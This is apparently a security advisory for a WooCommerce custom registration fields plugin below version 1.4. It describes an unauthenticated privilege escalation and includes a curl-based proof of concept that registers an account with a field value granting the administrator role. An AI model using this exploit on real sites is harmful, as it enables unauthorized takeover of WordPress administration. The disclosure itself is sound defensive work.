Custom Fields Account Registration For WooCommerce < 1.4 – Unauthenticated Privilege Escalation | CVE 2026-13152

Description

The plugin does not prevent its custom registration fields from writing to the user capabilities meta key on sites that use a non-default database table prefix, so an unauthenticated user who registers an account can be granted the administrator role when a correspondingly named field has been configured.

Proof of Concept

Preconditions: the site uses a non-default database table prefix (e.g. `wp_custom_`); WooCommerce account registration is enabled (My Account); and a custom registration field exists whose slug equals the site's capabilities meta key, e.g. `wp_custom_capabilities`.

1. On the WooCommerce My Account registration form, register a new account, including the field as an array assigning the administrator role (the value must be an array, not a serialized string):

   `wp_custom_capabilities[administrator]=1`

   Example (grab `woocommerce-register-nonce` from the registration page first):
   ```
   curl -s -c cookies.txt "https://victim.example/my-account/" -o /dev/null
   curl -s -b cookies.txt -c cookies.txt "https://victim.example/my-account/" \
     --data-urlencode "email=attacker@example.com" \
     --data-urlencode "password=AttackerPass123!" \
     --data-urlencode "wp_custom_capabilities[administrator]=1" \
     --data-urlencode "woocommerce-register-nonce=<NONCE>" \
     --data "register=Register"
   ```
2. Log in as the new account and open /wp-admin/.
3. The account holds the administrator role with full dashboard access.